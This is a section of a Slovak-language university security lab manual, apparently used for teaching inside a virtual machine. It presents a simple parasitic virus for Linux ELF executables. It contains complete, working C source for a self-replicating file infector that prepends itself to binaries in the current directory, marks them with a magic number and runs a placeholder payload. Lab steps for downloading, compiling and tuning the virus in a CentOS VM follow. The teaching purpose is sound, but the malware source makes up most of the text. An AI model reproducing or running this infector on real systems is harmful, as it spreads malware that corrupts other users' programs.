Product SiteDocumentation Site

7.3. Jednoduchý parazitný vírus

V príklade je ukážka jednoduchého kódu, ktorého cieľom je nájsť ešte neinfikovaný binárný súbor, infikovať tento program a takto zaručiť vykonanie definovaného škodlivého kódu v podobe jednoduchého výpisu na obrazovku terminálu.
Kostra vírusu:
  1. Načítanie vírusu do pamäte.
  2. Prehľadanie aktuálneho adresára na súbory typu ELF - binárne súbory v linuxe.
  3. Ak je nájdený ELF súbor:
    1. Vytvorenie dočasného súboru a skopírovanie vlastného tela.
    2. Pridanie na koniec tela vírusu program, ktorý bude infikovaný.
    3. Pridanie značky vírusu na koniec súboru.
    4. Premazanie pôvodného programu novým spolu s vírusom.
  4. Spustenie škodlivej činnosti.
  5. Vytvorenie dočasneho súboru a skopírovanie pôvodného programu do tohto súboru.
  6. Spustenie programu (bod 5).
  7. Zmazanie programu (bod 5).


       +-------------+ +
       |    Virus    | |
       |-------------| |
       |             | |
       |    Kod      | |
       |             | |velkost             +------------+
       |             | |   X                | Infekcia   |
       |             | |                    |------------|
       |             | |                    |            |
       |             | |                    |            |
       +-------------+ +                    |            |
                                            |   Virus    |
                                            |  Velkost   |
                                            |     X      |
                                            |            |
                                            |            |
                                            |            |
       +-------------+ +                    +------------+
       |  ELF subor  | |                    |            |
       |-------------| |                    |            |
       |             | |                    |            |
       |             | |                    |            |
       |             | |                    |  Program   |
       |             | |                    |  Velkost   |
       |             | |                    |     Y      |
       |             | |velkost             |            |
       |             | |   Y                |            |
       |    Kod      | |                    |            |
       |             | |                    |            |
       |             | |                    +------------+
       |             | |                    |   Magic    |
       |             | |                    +------------+
       |             | |
       |             | |
       |             | |
       +-------------+ +
Ďalšou úlohou je oboznámenie sa s kódom vírusu:
/* 
 * This is a trivial ELF file infector.  It simply pre-pends itself
 * to the beginning of ELF executibles.  When it runs it copies the
 * later half of itself to a temporary file and executes it.  Then
 * it deletes the temp file.
 *
 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/wait.h>
#include <unistd.h>
#include <dirent.h>
#include <elf.h>
#include <fcntl.h>
#include <pwd.h>

// PARASITE_LENGTH velkost kompilovaneho virusu //
#define PARASITE_LENGTH 10069
//identifikator infikovanosti
#define MAGIC 6585
#define TMPFILE_TEMPLATE "/tmp/.virusXXXXXX"
#define MAX_BUF 1024

static int magic = MAGIC;

//infikovanie suboru virusu
int infect(char *filename, int hd, char *virus)
{
    //handle pre docasny subor
   int fd;
   //info subore
   struct stat stat;
   char *data;
   char tmpfile[MAX_BUF];
   char cmd[MAX_BUF]="\0";
   int tmagic;	  // Store files magic number
   int magicloc;  // Location of magic number
   Elf32_Ehdr ehdr;

/* kontrola ci je program ELF, binarny linux program */
   if(read(hd,&ehdr, sizeof(ehdr)) != sizeof(ehdr)) return 1;

   if(
	ehdr.e_ident[0] != ELFMAG0 ||
	ehdr.e_ident[1] != ELFMAG1 ||
	ehdr.e_ident[2] != ELFMAG2 ||
	ehdr.e_ident[3] != ELFMAG3
     ) return 1;

   //if (ehdr.e_type != ET_EXEC && ehdr.e_type != ET_DYN) return 1;
   //if (ehdr.e_machine != EM_386) return 1;
   //if (ehdr.e_version != EV_CURRENT) return 1;
//


/* kontrola magic(identifikator virusu) na konci suboru */
   if(fstat(hd, &stat) < 0) return 1;
   magicloc = stat.st_size - sizeof(magic);
   if( lseek(hd, magicloc, SEEK_SET) != magicloc ) return 1;

   //nacitanie magic znaku, infikovanosti
   if(read(hd, &tmagic, sizeof(magic)) != sizeof(magic)) return 1;
   //ak je subor infikovany, znova neinfikuje
   if(tmagic == MAGIC) return 1;
   if(lseek(hd, 0, SEEK_SET) != 0) exit(1);

/* Vytvorenie docasneho suboru a vlastna extracia do tohto suboru*/
   strncpy(tmpfile, TMPFILE_TEMPLATE, MAX_BUF);
   fd=mkstemp(tmpfile);
   if(fd<0) { printf("open(%s)",tmpfile);exit(1); }
   if (write(fd, virus, PARASITE_LENGTH) != PARASITE_LENGTH) return 1;

/* alokacia pamate pre novo infikovany subor */
   data=(char *)malloc(stat.st_size);
   if(data==NULL) return 1;
   if(read(hd, data, stat.st_size) != stat.st_size) return 1;

/* pridanie infikovaneho suboru na koniec virusu, do docasneho suboru */
   if(write(fd,data, stat.st_size) != stat.st_size) return 1;
/* oznacenie suboru, ze je infikovany */
   if(write(fd,&magic, sizeof(magic)) != sizeof(magic)) return 1;

/* nastavenie prav a vlastnictva */
   if(fchown(fd, stat.st_uid, stat.st_gid) < 0) return 1;
   if(fchmod(fd, stat.st_mode) < 0) return 1;
/* premenovanie docasneho suboru na povodny teraz uz infikovany subor */
   sprintf(cmd,"cp %s %s",tmpfile,filename);
   //printf("%s\n",cmd);
   if(system(cmd) != 0) return 1;

   close(fd);

   printf("***Infected %s.\n", filename);

   return 0;
}

//prehladanie aktualneho suboru na spustitelne subory typu ELF
void scan_dir(char *directory, char *virus)
{
   int hd, vd;
   int filecnt;
   DIR *dd;
   struct dirent *dirp;
   struct stat stat;
   char vfile[256];
 
   /* otvorenie adresara */
   dd = opendir(directory);
   
   // prehladanie celeho adresara 
   
   if(dirp != NULL) {
	while (dirp = readdir(dd)) 
	{
	strncpy(vfile, directory, 255);
	strcat(vfile, "/");
	strncat(vfile, dirp->d_name, 255-strlen(vfile));
	    hd=open(vfile, O_RDONLY, 0);
	    if(hd >= 0) {
		fstat(hd, &stat);
		 if(S_ISREG(stat.st_mode)) {
			vd=open(vfile, O_RDWR, 0);
			if(vd >= 0)
				infect(vfile, vd, virus);
		}
		close(vd);
	    }
	    close(hd);
	}
	closedir(dd);
   }
   
}

//kvazi skodliva cinnost virusu....
void payload(void)
{
   printf("Malicious code...\n");
}

int main(int argc, char *argv[], char *envp[])
{
   int fd, tmpfd;
   struct stat stat;
   int len;
   char *data1, virus[PARASITE_LENGTH];
   char tmpfile[MAX_BUF];
   pid_t pid;
   
   /* ziskanie informaci o samotnom viruse*/
   fd=open(argv[0], O_RDONLY, 0);
   if (fstat(fd, &stat) < 0) return 1;

   
   //nacitanie virusu do pamate
   if (read(fd, virus, PARASITE_LENGTH) != PARASITE_LENGTH) return 1;

   /* skodliva cinnost */
   payload();
   //prehladanie aktualneho adresara
   scan_dir(".", virus);

   
   //zistenie umiestnenie original kodu povodne neinfikovaneho virusu
   len = stat.st_size - PARASITE_LENGTH;
   data1=(char*)malloc(len);
   if(data1 == NULL) return 1;
   if(lseek (fd, PARASITE_LENGTH, SEEK_SET) != PARASITE_LENGTH) return 1;

   /* nacitanie neinfikovaneho kodu programu */
   if(read(fd, data1, len) != len) return 1; 
   close(fd);

   /* zapisanie neinf. kodu do docasneho suboru */
   strncpy(tmpfile, TMPFILE_TEMPLATE, MAX_BUF);
   tmpfd = mkstemp(tmpfile);
   if(tmpfd <0) return 1;
   if (write(tmpfd, data1, len) != len) return 1;
   fchmod(tmpfd, stat.st_mode);
   free(data1);
   close(tmpfd);

   /* vytvorenie kopie aktualneho procesu */
   pid = fork();
   if (pid <0) exit(1);
   //spustenie extrahovaneho neinfikovaneho programu
   if(pid ==0) exit(execve(tmpfile, argv, envp));
   //cakanie na skoncenie povodneho, neinfikovaneho programu a ukoncenie kodu virusu
   if(waitpid(pid, NULL, 0) != pid) exit(1);
   unlink(tmpfile);
   exit(0);

   return 0;
}

7.3.1. Spiaca fáza

  1. Prihláste sa na vzdialený systém.
  2. Spustite Virtualbox a virtualny system CentOS.
  3. Prihlásenie virtuálny stroj root/password.
  4. Nainštalujte potrebné balíky.
    $ yum -y groupinstall "Development Tools"
    
    $ yum -y install mc
  5. Stiahnite kód vírusu.
    $ wget http://zeus.fei.tuke.sk/bps3r/virus.c
  6. Skompilujte zdrojový kód
    gcc -o virus virus.c
  7. Zistite veľkosť výsledného binárneho vírusu.
    $ ls -l virus
  8. Porovnajte prípadne upravte veľkosť konštanty v zdrojovom kód so zistenou hodnotou z bodu 7.
    mcedit virus.c
    
    #define PARASITE_LENGTH 10710
  9. Opätovne skompilujte zdrojový kód
    gcc -o virus virus.c
  10. Vytvorte adresár testovanie.
    $ mkdir testovanie
  11. Skopírujte vírus do tohto adresára.
    $ cp virus ./testovanie/